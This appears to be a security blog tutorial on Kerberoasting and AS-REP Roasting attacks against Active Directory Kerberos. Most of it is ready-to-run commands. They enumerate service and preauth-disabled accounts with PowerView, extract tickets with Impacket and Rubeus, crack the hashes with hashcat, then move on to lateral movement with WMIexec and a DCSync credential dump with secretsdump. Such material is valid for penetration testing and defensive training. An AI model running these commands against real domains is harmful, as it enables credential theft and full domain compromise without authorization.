Kerberoasting & AS-REP Roasting: Attacking Active Directory Kerberos

Kerberoasting is one of the most effective offline password cracking attacks against Active Directory. Any authenticated domain user can request service tickets for accounts with SPNs, then crack the tickets offline. AS-REP Roasting targets accounts with Kerberos preauthentication disabled. Both attacks require no special privileges and are widely exploited in real-world penetration tests.

How Kerberoasting Works

When a user authenticates to a service, the KDC (Key Distribution Center) issues a service ticket (TGS) encrypted with the service account’s NTLM hash. An attacker with any domain account can request these tickets and crack them offline without touching the target machine.

# Find Kerberoastable accounts with PowerView
Get-NetUser -SPN | Select SamAccountName, ServicePrincipalName

# Kerberoast with Impacket (Linux)
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Save hashes to file
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request -outputfile kerberoast_hashes.txt

# Kerberoast from Windows with Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Targeted kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:svc_mssql.txt

Cracking Kerberoast Hashes with Hashcat

Kerberoast hashes are type 13100 (Kerberos 5 TGS-REP etype 23). Use hashcat with rockyou.txt first, then targeted wordlists.

# Crack with hashcat (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# With rules for better coverage
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# AES-256 tickets (mode 19700 for etype 18)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

AS-REP Roasting: No Preauthentication Required

AS-REP Roasting targets accounts with “Do not require Kerberos preauthentication” enabled. Without preauthentication, any attacker can send an AS-REQ and receive an AS-REP encrypted with the user’s password hash — no authentication needed.

# Find AS-REP Roastable accounts with PowerView
Get-NetUser -PreauthNotRequired | Select SamAccountName

# AS-REP Roast with Impacket (no credentials needed)
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt -dc-ip 10.10.10.161

# If you have credentials
GetNPUsers.py domain.local/svc-alfresco:s3rvice -dc-ip 10.10.10.161 -request

# From Windows with Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# Crack AS-REP hashes (mode 18200)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Post-Compromise: What to Do After Getting the Password

Once a service account password is cracked, check its group memberships and permissions. Service accounts often have high privileges on specific servers or even domain-wide rights.

# Check what the cracked account has access to
net user svc_mssql /domain

# Use the account to access resources
pyWMIexec.py domain.local/svc_mssql:crackedpass@10.10.10.50

# If the account has DCSync rights
secretsdump.py domain.local/svc_mssql:crackedpass@10.10.10.100

References

See MITRE ATT&CK T1558.003 (Kerberoasting) and T1558.004 (AS-REP Roasting).

Related Articles

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top